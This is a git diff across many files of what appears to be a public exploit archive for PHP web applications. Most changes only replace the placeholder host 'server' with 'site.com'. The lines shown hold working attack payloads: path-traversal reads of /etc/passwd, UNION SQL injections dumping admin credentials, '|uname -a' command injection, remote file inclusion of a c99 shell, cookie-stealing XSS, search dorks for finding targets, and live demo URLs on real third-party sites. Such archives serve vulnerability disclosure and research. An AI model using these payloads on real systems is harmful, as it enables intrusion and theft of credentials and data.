http://adullact.net/frs/?group_id=434 # # Vuln: - # http://server/openelec/scr/form.php?obj=../../../../../../../etc/passwd%00 + # http://site.com/openelec/scr/form.php?obj=../../../../../../../etc/passwd%00 # # # Bug: ./openelec/scr/form.php (lines: 27-32) diff --git a/platforms/php/webapps/6533.txt b/platforms/php/webapps/6533.txt index d8534ca30..2251035ef 100755 --- a/platforms/php/webapps/6533.txt +++ b/platforms/php/webapps/6533.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -14,7 +14,7 @@ # Script site: http://basebuilder.sourceforge.net/ # Download: http://sourceforge.net/project/showfiles.php?group_id=110199 # - # Vuln: http://server/basebuilder/src/main.inc.php?mj_config[src_path]=[spread???] + # Vuln: http://site.com/basebuilder/src/main.inc.php?mj_config[src_path]=[spread???] # # # Bug: ./basebuilder-2.0.1/src/main.inc.php (line: 56) diff --git a/platforms/php/webapps/6535.txt b/platforms/php/webapps/6535.txt index 313c7f9ad..0ef3c0c4f 100755 --- a/platforms/php/webapps/6535.txt +++ b/platforms/php/webapps/6535.txt @@ -23,7 +23,7 @@ [~]------------------------------------------------------------- [~] Exploit :- [~] -[~] http://server/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/* +[~] http://site.com/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/* [~] [~] Demo :- 1.3 [~] diff --git a/platforms/php/webapps/6538.txt b/platforms/php/webapps/6538.txt index 89d1f6c6e..3af4c3b3f 100755 --- a/platforms/php/webapps/6538.txt +++ b/platforms/php/webapps/6538.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -17,7 +17,7 @@ # Download: http://www.openrat.de/download/ # http://dl.openrat.de/openrat-cvs-2007-12-05.tar.gz # - # Vuln: http://server/openrat/themes/default/include/html/insert.inc.php?tpl_dir=[spread???] + # Vuln: http://site.com/openrat/themes/default/include/html/insert.inc.php?tpl_dir=[spread???] # # # Bug: ./openrat/themes/default/include/html/insert.inc.php diff --git a/platforms/php/webapps/6539.txt b/platforms/php/webapps/6539.txt index 5af690f56..9d7077f04 100755 --- a/platforms/php/webapps/6539.txt +++ b/platforms/php/webapps/6539.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -14,7 +14,7 @@ # Script site: http://www.muskatli.net/studio/hu/?f=sofi-wgui-hu # Download: http://www.muskatli.net/site/files/news_data/100004_100192_sofi_webgui_0.6.0.pre-release-3.tar.gz # - # Vuln: http://server/sofi_webgui/hu/modules/reg-new/modstart.php?mod_dir=[spread???] + # Vuln: http://site.com/sofi_webgui/hu/modules/reg-new/modstart.php?mod_dir=[spread???] # # # Bug: ./sofi_webgui/hu/modules/reg-new/modstart.php (line: 26) diff --git a/platforms/php/webapps/6542.txt b/platforms/php/webapps/6542.txt index da80921f5..28ec83292 100755 --- a/platforms/php/webapps/6542.txt +++ b/platforms/php/webapps/6542.txt @@ -19,7 +19,7 @@ [~]------------------------------------------------------------- [~] Exploit :- [~] -[~] http://server/sayfa.php?kat=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3/* +[~] http://site.com/sayfa.php?kat=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3/* [~] [~] Demo :- [~] diff --git a/platforms/php/webapps/6543.txt b/platforms/php/webapps/6543.txt index 8a1d80a70..6d2d6eab4 100755 --- a/platforms/php/webapps/6543.txt +++ b/platforms/php/webapps/6543.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -14,7 +14,7 @@ # Script site: http://sourceforge.net/project/showfiles.php?group_id=24742 # # Vuln: - # http://server/olbookmarks/show.php?show=../../../../../../../etc/passwd%00 + # http://site.com/olbookmarks/show.php?show=../../../../../../../etc/passwd%00 # # # Bug: ./olbookmarks-0.7.5/show.php diff --git a/platforms/php/webapps/6551.txt b/platforms/php/webapps/6551.txt index 7d7ba5676..c497d2377 100755 --- a/platforms/php/webapps/6551.txt +++ b/platforms/php/webapps/6551.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -15,7 +15,7 @@ # Download: http://eduforge.org/projects/emergecolab/ # # Vuln: - # http://server/emerge-1.0/connect/index.php?sitecode=../../../../../../../etc/passwd%00 + # http://site.com/emerge-1.0/connect/index.php?sitecode=../../../../../../../etc/passwd%00 # # # Bug: ./emerge-1.0/connect/init.inc (lines: 23-30) diff --git a/platforms/php/webapps/6552.txt b/platforms/php/webapps/6552.txt index 2e28d0dce..2e9674e0e 100755 --- a/platforms/php/webapps/6552.txt +++ b/platforms/php/webapps/6552.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -14,7 +14,7 @@ # Script site: http://sourceforge.net/projects/mailwatch/ # # Vuln: - # http://server/[mailwatch-1.0.4]/mailscanner/docs.php?doc=../../../../../../../etc/passwd%00 + # http://site.com/[mailwatch-1.0.4]/mailscanner/docs.php?doc=../../../../../../../etc/passwd%00 # # # Bug: ./mailwatch-1.0.4/mailscanner/docs.php (lines: 23-34) diff --git a/platforms/php/webapps/6553.txt b/platforms/php/webapps/6553.txt index ab52a33f8..df59627a3 100755 --- a/platforms/php/webapps/6553.txt +++ b/platforms/php/webapps/6553.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -17,7 +17,7 @@ # Download: http://sourceforge.net/projects/phpcounter/ # # Vuln: - # http://server/[phpcounter.1.3.2]/defs.php?l=../../../../../../../etc/passwd%00 + # http://site.com/[phpcounter.1.3.2]/defs.php?l=../../../../../../../etc/passwd%00 # # # Bug: ./phpcounter.1.3.2/defs.php (line: 49) diff --git a/platforms/php/webapps/6555.txt b/platforms/php/webapps/6555.txt index d1aada48c..185b0ffbe 100755 --- a/platforms/php/webapps/6555.txt +++ b/platforms/php/webapps/6555.txt @@ -42,11 +42,11 @@ POC 1: - http://www.server/site/scripts/recruit_details.php?id=null+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9,10,11,12-- + http://www.site.com/site/scripts/recruit_details.php?id=null+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9,10,11,12-- POC 2: - http://www.server/site/scripts/recruit_details.php?id=null+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12+from+JaduAdministrators-- + http://www.site.com/site/scripts/recruit_details.php?id=null+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12+from+JaduAdministrators-- ########################################################### diff --git a/platforms/php/webapps/6558.txt b/platforms/php/webapps/6558.txt index d279b93e2..33e27b0ea 100755 --- a/platforms/php/webapps/6558.txt +++ b/platforms/php/webapps/6558.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -17,7 +17,7 @@ # Download: http://www.barcodephp.com/download.php # # Vuln: - # http://server/[barcodegen.1d-v2.0.0]/html/image.php?t=1&r=1&text=1&f1=1&f2=1&o=1&a1=1&a2=1&code=/../../../../../../../etc/passwd%00 + # http://site.com/[barcodegen.1d-v2.0.0]/html/image.php?t=1&r=1&text=1&f1=1&f2=1&o=1&a1=1&a2=1&code=/../../../../../../../etc/passwd%00 # # # Bug: ./barcodegen.1d-v2.0.0/html/image.php (lines: 2-8) diff --git a/platforms/php/webapps/6559.txt b/platforms/php/webapps/6559.txt index ea3e3a201..afce084f2 100755 --- a/platforms/php/webapps/6559.txt +++ b/platforms/php/webapps/6559.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -17,8 +17,8 @@ # Download: http://freshmeat.net/projects/observer/ # # Vuln: - # (1) http://server/[observer-0.3.2.1]/whois.php?query=|uname -a - # (2) http://server/[observer-0.3.2.1]/netcmd.php?cmd=nmap&query=|uname -a + # (1) http://site.com/[observer-0.3.2.1]/whois.php?query=|uname -a + # (2) http://site.com/[observer-0.3.2.1]/netcmd.php?cmd=nmap&query=|uname -a # # # Bug(1): ./observer-0.3.2.1/html/whois.php diff --git a/platforms/php/webapps/6562.txt b/platforms/php/webapps/6562.txt index aaf6cd9b3..2d780eb25 100755 --- a/platforms/php/webapps/6562.txt +++ b/platforms/php/webapps/6562.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -17,7 +17,7 @@ # Download: http://sourceforge.net/project/showfiles.php?group_id=105885 # # Vuln: - # http://server/[lansuite-3.4_beta_r1363]/index.php?design=../../../../../../../../../../etc/passwd%00 + # http://site.com/[lansuite-3.4_beta_r1363]/index.php?design=../../../../../../../../../../etc/passwd%00 # # # Bug: ./lansuite-3.4_beta_r1363/index.php (lines: 243-254) diff --git a/platforms/php/webapps/6563.txt b/platforms/php/webapps/6563.txt index 8f6ddf4b6..079624c52 100755 --- a/platforms/php/webapps/6563.txt +++ b/platforms/php/webapps/6563.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -17,7 +17,7 @@ # Download: http://sourceforge.net/projects/phpocs/ # # Vuln: - # http://server/[phpocs-0.1-beta3]/index.php?act=../../../../../../../etc/passwd%00 + # http://site.com/[phpocs-0.1-beta3]/index.php?act=../../../../../../../etc/passwd%00 # # # Bug: ./phpocs-0.1-beta3/index.php (lines: 7 and 9) diff --git a/platforms/php/webapps/6564.txt b/platforms/php/webapps/6564.txt index f0fc38a52..37ff9a2f5 100755 --- a/platforms/php/webapps/6564.txt +++ b/platforms/php/webapps/6564.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -17,7 +17,7 @@ # Download: http://sourceforge.net/projects/vboard/ # # Vuln: - # http://server/[Vikingboard_0.2_Beta]/upload/index.php?act=task&task=./../../../../../../../etc/passwd%00 + # http://site.com/[Vikingboard_0.2_Beta]/upload/index.php?act=task&task=./../../../../../../../etc/passwd%00 # # # Bug: ./Vikingboard_0.2_Beta/upload/index.php (lines: 81-91) diff --git a/platforms/php/webapps/6567.pl b/platforms/php/webapps/6567.pl index be5e33fdb..47e44166d 100755 --- a/platforms/php/webapps/6567.pl +++ b/platforms/php/webapps/6567.pl @@ -26,8 +26,8 @@ my ($host, $path, $action) = @ARGV ; unless($ARGV[2]) { print "Usage: perl $0 <host> <path> <action>\n"; - print "\tex: perl $0 http://server /etc/ list\n"; - print "\tex: perl $0 http://server /etc/passwd edit\n"; + print "\tex: perl $0 http://site.com /etc/ list\n"; + print "\tex: perl $0 http://site.com /etc/passwd edit\n"; print "Actions:\n"; print " list:\n"; print " edit:\n\n"; diff --git a/platforms/php/webapps/6571.txt b/platforms/php/webapps/6571.txt index 2ae00741a..b62a78ee4 100755 --- a/platforms/php/webapps/6571.txt +++ b/platforms/php/webapps/6571.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -16,7 +16,7 @@ # Script site: http://www.openengine.de/ # Download: http://sourceforge.net/projects/openengine/ # - # Vuln: http://server/[openengine20]/cms/system/openengine.php?oe_classpath=[spread???] + # Vuln: http://site.com/[openengine20]/cms/system/openengine.php?oe_classpath=[spread???] # # # Bug: ./openengine20/cms/system/openengine.php diff --git a/platforms/php/webapps/6572.txt b/platforms/php/webapps/6572.txt index 06c7c85fd..a34b6076f 100755 --- a/platforms/php/webapps/6572.txt +++ b/platforms/php/webapps/6572.txt @@ -19,21 +19,21 @@ [~]------------------------------------------------------------- [~] Exploit :- SQL Injection [~] -[~] http://server/album.php?apa_album_ID=1 UNION SELECT concat_ws(0x3a,version(),database(),user())/* +[~] http://site.com/album.php?apa_album_ID=1 UNION SELECT concat_ws(0x3a,version(),database(),user())/* [~] [~] Demo :- [~] -[~] http://www.server/new/fotos/album.php?apa_album_ID=1 UNION SELECT concat_ws(0x3a,version(),database(),user())/* +[~] http://www.site.com/new/fotos/album.php?apa_album_ID=1 UNION SELECT concat_ws(0x3a,version(),database(),user())/* [~] [~]--------------------------------------------------------------------------------------------------------------------------- [~] [~] Exploit :- XSS (cross site scripting) [~] -[~] http://server/album.php?apa_album_ID=>'><script>alert(1337)</script>. +[~] http://site.com/album.php?apa_album_ID=>'><script>alert(1337)</script>. [~] [~] Demo :- [~] -[~] http://www.server/new/fotos/album.php?apa_album_ID=>'><script>alert(1337)</script>. +[~] http://www.site.com/new/fotos/album.php?apa_album_ID=>'><script>alert(1337)</script>. [~] [~]---------------------------------------------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/6573.pl b/platforms/php/webapps/6573.pl index 84d822775..45283fca6 100755 --- a/platforms/php/webapps/6573.pl +++ b/platforms/php/webapps/6573.pl @@ -10,7 +10,7 @@ print <<INTRO; + By: Stack + +++++++++++++++++++++++++++++++++++++++++++++++++++++ INTRO -print "Enter URL(ie: http://server): "; +print "Enter URL(ie: http://site.com): "; chomp(my $url=<STDIN>); print "Enter File Path(path to local file to upload): "; diff --git a/platforms/php/webapps/6574.php b/platforms/php/webapps/6574.php index 57243acdf..6c61140c3 100755 --- a/platforms/php/webapps/6574.php +++ b/platforms/php/webapps/6574.php @@ -14,8 +14,8 @@ print_r(' # Dork: intext:"Powered by Atomic Photo Album 1.1.0pre4" # Admin Panel: [Target]/apa/ # Usage: php '.$argv[0].' [Target] [Userid] -# Example for http://www.server/apa/lalbum.php?apa_album_ID=[Real id] 2 -# => php '.$argv[0].' http://www.server/apa/album.php?apa_album_ID=2 2 +# Example for http://www.site.com/apa/lalbum.php?apa_album_ID=[Real id] 2 +# => php '.$argv[0].' http://www.site.com/apa/album.php?apa_album_ID=2 2 # Live Demo : # http://www.brzi.info/foto/album.php?apa_album_ID=2 1 # diff --git a/platforms/php/webapps/6575.txt b/platforms/php/webapps/6575.txt index 2d76f1564..f9f8452b7 100755 --- a/platforms/php/webapps/6575.txt +++ b/platforms/php/webapps/6575.txt @@ -14,7 +14,7 @@ include( $class_dir.'/Table_template.php' ); # Exploit : -http://WwW.Sec-Code.CoM/barcodegen.1d-php4.v2.0.0/class/LSTable.php?class_dir=http://server/shell/c99.txt? +http://WwW.Sec-Code.CoM/barcodegen.1d-php4.v2.0.0/class/LSTable.php?class_dir=http://SITE.COM/shell/c99.txt? ============================================================================ diff --git a/platforms/php/webapps/6585.txt b/platforms/php/webapps/6585.txt index 7c207aa30..cff52db04 100755 --- a/platforms/php/webapps/6585.txt +++ b/platforms/php/webapps/6585.txt @@ -10,7 +10,7 @@ Download :http://downloads.sourceforge.net/openengine/openengine20_beta2.zip?mod ************************************************************************************** -Exploit : server/script_path/cms/classes/openengine/filepool.php?oe_classpath=Shellz? +Exploit : Site.com/script_path/cms/classes/openengine/filepool.php?oe_classpath=Shellz? ************************************************************************************** diff --git a/platforms/php/webapps/6589.txt b/platforms/php/webapps/6589.txt index 3f0ae27b8..cc68428cd 100755 --- a/platforms/php/webapps/6589.txt +++ b/platforms/php/webapps/6589.txt @@ -1,4 +1,4 @@ -_____ ____ _____ ____ _____ __ __ _____ ____ + _____ ____ _____ ____ _____ __ __ _____ ____ / _ \ /\ /\ / _ \ / _ \ / ___| / _ \ / \/ \ / _ \ / _ | | | | | \ \/ / ||_| | | | | | | | | | | | | \__/ | | |_| | ||_|_| | | | | \ / \__ | | | | | | | | | | | | | | | | _ | | \ diff --git a/platforms/php/webapps/6598.txt b/platforms/php/webapps/6598.txt index 4fc53225d..7d003d929 100755 --- a/platforms/php/webapps/6598.txt +++ b/platforms/php/webapps/6598.txt @@ -10,7 +10,7 @@ Download :http://downloads.sourceforge.net/coastal/coast-0.95.tgz?modtime=122236 ************************************************************************************** -Exploit : server/script_path/coast/header.php?sections_file=Shellz? +Exploit : Site.com/script_path/coast/header.php?sections_file=Shellz? ************************************************************************************** diff --git a/platforms/php/webapps/6601.txt b/platforms/php/webapps/6601.txt index 43149a85a..906809ddf 100755 --- a/platforms/php/webapps/6601.txt +++ b/platforms/php/webapps/6601.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -17,7 +17,7 @@ # Download: http://lnblog.skepticats.com/content/download/ # http://sourceforge.net/projects/lnblog/ # - # Vuln: http://server/[lnblog-0.9.0]/pages/showblog.php?plugin=../../../../../../../etc/passwd%00 + # Vuln: http://site.com/[lnblog-0.9.0]/pages/showblog.php?plugin=../../../../../../../etc/passwd%00 # # # Bug: ./lnblog-0.9.0/pages/showblog.php (lines: 109,110) diff --git a/platforms/php/webapps/6602.txt b/platforms/php/webapps/6602.txt index 76edb1d33..ecf04f2fe 100755 --- a/platforms/php/webapps/6602.txt +++ b/platforms/php/webapps/6602.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -13,7 +13,7 @@ # # Download: http://sourceforge.net/projects/plugspace/ # - # Vuln: http://server/[plugspace]/index.php?navi=../../../../../../../etc/passwd%00 + # Vuln: http://site.com/[plugspace]/index.php?navi=../../../../../../../etc/passwd%00 # # # Bug: ./plugspace/index.php (lines: 64-81) diff --git a/platforms/php/webapps/6603.txt b/platforms/php/webapps/6603.txt index 689224c5c..0862778db 100755 --- a/platforms/php/webapps/6603.txt +++ b/platforms/php/webapps/6603.txt @@ -39,7 +39,7 @@ POC :- - http://www.server/[path]/gallery.php?id=-1+union+select+1,concat(login_id,0x3a,login_pass),2,3+from+pcard_user/* + http://www.site.com/[path]/gallery.php?id=-1+union+select+1,concat(login_id,0x3a,login_pass),2,3+from+pcard_user/* Live Demo: diff --git a/platforms/php/webapps/6604.txt b/platforms/php/webapps/6604.txt index d07a0b298..9fa8b5819 100755 --- a/platforms/php/webapps/6604.txt +++ b/platforms/php/webapps/6604.txt @@ -39,7 +39,7 @@ POC :- - http://server/index/Gallery/?path=../../../../../../../ + http://site.com/index/Gallery/?path=../../../../../../../ Live Demo: diff --git a/platforms/php/webapps/6605.txt b/platforms/php/webapps/6605.txt index 71fd0b00a..0f958b109 100755 --- a/platforms/php/webapps/6605.txt +++ b/platforms/php/webapps/6605.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/6606.txt b/platforms/php/webapps/6606.txt index 53589a0a7..9686ab7aa 100755 --- a/platforms/php/webapps/6606.txt +++ b/platforms/php/webapps/6606.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -17,8 +17,8 @@ # Download: http://sourceforge.net/projects/yoxel/ # # Vuln: - # http://server/[yoxel_v1.23beta]/itpm/itpm_estimate.php?a=LOCAL_OR_REMOTE_FILE&rid=1&proj_id=);include($_GET[a]);die(2 - # http://server/[yoxel_v1.23beta]/itpm/itpm_estimate.php?a=LOCAL_OR_REMOTE_FILE&proj_id=);include($_GET[a]);die(2 + # http://site.com/[yoxel_v1.23beta]/itpm/itpm_estimate.php?a=LOCAL_OR_REMOTE_FILE&rid=1&proj_id=);include($_GET[a]);die(2 + # http://site.com/[yoxel_v1.23beta]/itpm/itpm_estimate.php?a=LOCAL_OR_REMOTE_FILE&proj_id=);include($_GET[a]);die(2 # # # (1) Bug: ./yoxel_v1.23beta/itpm/itpm_estimate.php (line: 40) diff --git a/platforms/php/webapps/6613.txt b/platforms/php/webapps/6613.txt index 68ae5d2c2..059ebb0ae 100755 --- a/platforms/php/webapps/6613.txt +++ b/platforms/php/webapps/6613.txt @@ -22,7 +22,7 @@ You Can See Admin User & MD5 Password ..::.. Then Crack It & Login ;) :D -=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- EXPLOITS: -www.server/news_read.php?id=-1/**/union/**/select/**/1,login,3,4,password,6,7,8,9/**/from/**/students/* +www.site.com/news_read.php?id=-1/**/union/**/select/**/1,login,3,4,password,6,7,8,9/**/from/**/students/* Online Demo: http://www.elmspro.com/etraining/demo/news_read.php?id=-1/**/union/**/select/**/1,login,3,4,password,6,7,8,9/**/from/**/students/* diff --git a/platforms/php/webapps/6632.txt b/platforms/php/webapps/6632.txt index e88b2784b..5bcadf752 100755 --- a/platforms/php/webapps/6632.txt +++ b/platforms/php/webapps/6632.txt @@ -13,10 +13,10 @@ http://downloads.sourceforge.net/minbank/minba_v0150.zip?modtime=1169500084&big_ ************************************************************************************** -Exploit : http://server/minba/utility/utdb_access.php?minsoft_path=Shellz? +Exploit : http://site.com/minba/utility/utdb_access.php?minsoft_path=Shellz? -http://server/minba/utility/utgn_message.php?minsoft_path=Shellz? +http://site.com/minba/utility/utgn_message.php?minsoft_path=Shellz? ************************************************************************************** diff --git a/platforms/php/webapps/6633.txt b/platforms/php/webapps/6633.txt index 77c32225b..6316dbe0a 100755 --- a/platforms/php/webapps/6633.txt +++ b/platforms/php/webapps/6633.txt @@ -25,7 +25,7 @@ extension (JPG, PNG, GIF, ...) and you can upload any file (ex: PHP) Website structure: -server / +site.com / /upload/ -> Files saved /admin/ /avatars diff --git a/platforms/php/webapps/6634.php b/platforms/php/webapps/6634.php index c50fd7e3b..90d0053fc 100755 --- a/platforms/php/webapps/6634.php +++ b/platforms/php/webapps/6634.php @@ -14,8 +14,8 @@ print_r(' #Admin Panel: [Target]/SG/ #Usage: php '.$argv[0].' [Target] [Userid] #Example : -#php '.$argv[0].' "http://www.server/SG/index.php?lang=EN&page_id=[Real id]" 1 -#php '.$argv[0].' "http://www.server/SG/index.php?lang=EN&page_id=106" 1 +#php '.$argv[0].' "http://www.site.com/SG/index.php?lang=EN&page_id=[Real id]" 1 +#php '.$argv[0].' "http://www.site.com/SG/index.php?lang=EN&page_id=106" 1 # ############################################################### '); diff --git a/platforms/php/webapps/6645.txt b/platforms/php/webapps/6645.txt index 2a6f0344d..67d8711bd 100755 --- a/platforms/php/webapps/6645.txt +++ b/platforms/php/webapps/6645.txt @@ -1,4 +1,4 @@ -~~+=========================================================+~~ + ~~+=========================================================+~~ ~~+=========================================================+~~ [?] Crux Gallery <= 1.32 Local File Inclusion Vulnerability [?] Discovered On: 01/10/2008 diff --git a/platforms/php/webapps/6648.txt b/platforms/php/webapps/6648.txt index 12d909120..122e7438b 100755 --- a/platforms/php/webapps/6648.txt +++ b/platforms/php/webapps/6648.txt @@ -26,7 +26,7 @@ [~] Exploit : -http://www.server/index.php?file_op=[url] +http://www.site.com/index.php?file_op=[url] # # Vulnerable code source : diff --git a/platforms/php/webapps/6653.txt b/platforms/php/webapps/6653.txt index d14aecd71..811f42db6 100755 --- a/platforms/php/webapps/6653.txt +++ b/platforms/php/webapps/6653.txt @@ -14,7 +14,7 @@ DUSecurity Team / DarkCode Exploit > -http://olib.server/cgi/?session=[session_key]&infile=[LFI] +http://olib.site.com/cgi/?session=[session_key]&infile=[LFI] files in dir - get_settings.ini, setup.ini(contains config file locations), text.ini diff --git a/platforms/php/webapps/6675.pl b/platforms/php/webapps/6675.pl index 612163e06..d824091ec 100755 --- a/platforms/php/webapps/6675.pl +++ b/platforms/php/webapps/6675.pl @@ -23,7 +23,7 @@ # # First, Galerie 3.2 is an addon for Burning Board Lite. # -# http://www.server/galerie.php?action=show&pic=10 +# http://www.site.com/galerie.php?action=show&pic=10 # # If we add a ' to the pic id we get an SQL Error. But the Query is an UPDATE Query, so we can't use UNION. # @@ -31,7 +31,7 @@ # ( that slow and shitty subquery thingy ;) ) # # injection: -# http://www.server/galerie.php?action=show&pic=10'/**/and/**/ascii(substring((SELECT/**/password/**/from/**/bb1_users/**/WHERE/**/userid=1),1,1))>1/* +# http://www.site.com/galerie.php?action=show&pic=10'/**/and/**/ascii(substring((SELECT/**/password/**/from/**/bb1_users/**/WHERE/**/userid=1),1,1))>1/* # ##################################################################################### diff --git a/platforms/php/webapps/6691.txt b/platforms/php/webapps/6691.txt index 50c572737..76b9df376 100755 --- a/platforms/php/webapps/6691.txt +++ b/platforms/php/webapps/6691.txt @@ -1,4 +1,4 @@ -[*]~======================================================~[*] + [*]~======================================================~[*] [*] Yerba SACphp <= 6.3 Multiple Remote Vulnerabilities [*] [*]~======================================================~[*] diff --git a/platforms/php/webapps/6693.txt b/platforms/php/webapps/6693.txt index 547d724e6..a1bb4f340 100755 --- a/platforms/php/webapps/6693.txt +++ b/platforms/php/webapps/6693.txt @@ -29,7 +29,7 @@ ________ ._. POC: - Go to => http://server/referrals.php ( Logged in ) + Go to => http://site.com/referrals.php ( Logged in ) javascript:document.cookie="usNick=' AND 1=0 /*; expires=Thu, 2 Aug 2020 20:45:20 UTC; path=/"; => Modify : ' AND 1=0 /* With Injection's. diff --git a/platforms/php/webapps/6697.txt b/platforms/php/webapps/6697.txt index e18e8de0d..4a4507245 100755 --- a/platforms/php/webapps/6697.txt +++ b/platforms/php/webapps/6697.txt @@ -24,7 +24,7 @@ [~]------------------------------------------------------------- [~] Exploit :- [~] -[~] http://server/event_detail.php?event_id=-1 UNION SELECT +[~] http://site.com/event_detail.php?event_id=-1 UNION SELECT 1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7/* [~] [~] Demo :- diff --git a/platforms/php/webapps/6701.txt b/platforms/php/webapps/6701.txt index a508f3baf..1850092fa 100755 --- a/platforms/php/webapps/6701.txt +++ b/platforms/php/webapps/6701.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . ================================== diff --git a/platforms/php/webapps/6703.txt b/platforms/php/webapps/6703.txt index 5ca0c2b97..d54fc0331 100755 --- a/platforms/php/webapps/6703.txt +++ b/platforms/php/webapps/6703.txt @@ -1,4 +1,4 @@ -_____ ____ __ __ _ ____ ____ ____ + _____ ____ __ __ _ ____ ____ ____ |_ _| | _ \ \ \ / / / \ / ___| / ___| / ___| | | | |_) | \ V / / _ \ | | _ | | | | | | | _ < | | / ___ \ | |_| | _ | |___ | |___ diff --git a/platforms/php/webapps/6710.txt b/platforms/php/webapps/6710.txt index 32b669d66..d0fcdee15 100755 --- a/platforms/php/webapps/6710.txt +++ b/platforms/php/webapps/6710.txt @@ -3,11 +3,11 @@ Script:Cameralife 2.6.2b4 Download:http://nchc.dl.sourceforge.net/sourceforge/fdcl/cameralife-2.6.2b4.zip Author:BackDoor Bug 1;album.php Remote SQL Injection Vulnerability -Exploit:server/scriptpath/album.php?id=-1+union+select+0,password,username,3,4,5+from+users +Exploit:www.target.com/scriptpath/album.php?id=-1+union+select+0,password,username,3,4,5+from+users Live http://chrisnolan.org/cameralife/album.php?id=-1+union+select+0,password,username,3,4,5+from+users Bug 2;topic.php XSS Vulnerability -Exploit:server/scriptpath/topic.php?name="><script>alert(document.cookie)</script> +Exploit:www.target.com/scriptpath/topic.php?name="><script>alert(document.cookie)</script> Live http://chrisnolan.org/cameralife/topic.php?name="><script>alert(document.cookie)</script> Dork:inurl:"cameralife/index.php" diff --git a/platforms/php/webapps/6722.txt b/platforms/php/webapps/6722.txt index d30b15297..d005f3369 100755 --- a/platforms/php/webapps/6722.txt +++ b/platforms/php/webapps/6722.txt @@ -1,4 +1,4 @@ -#### # # 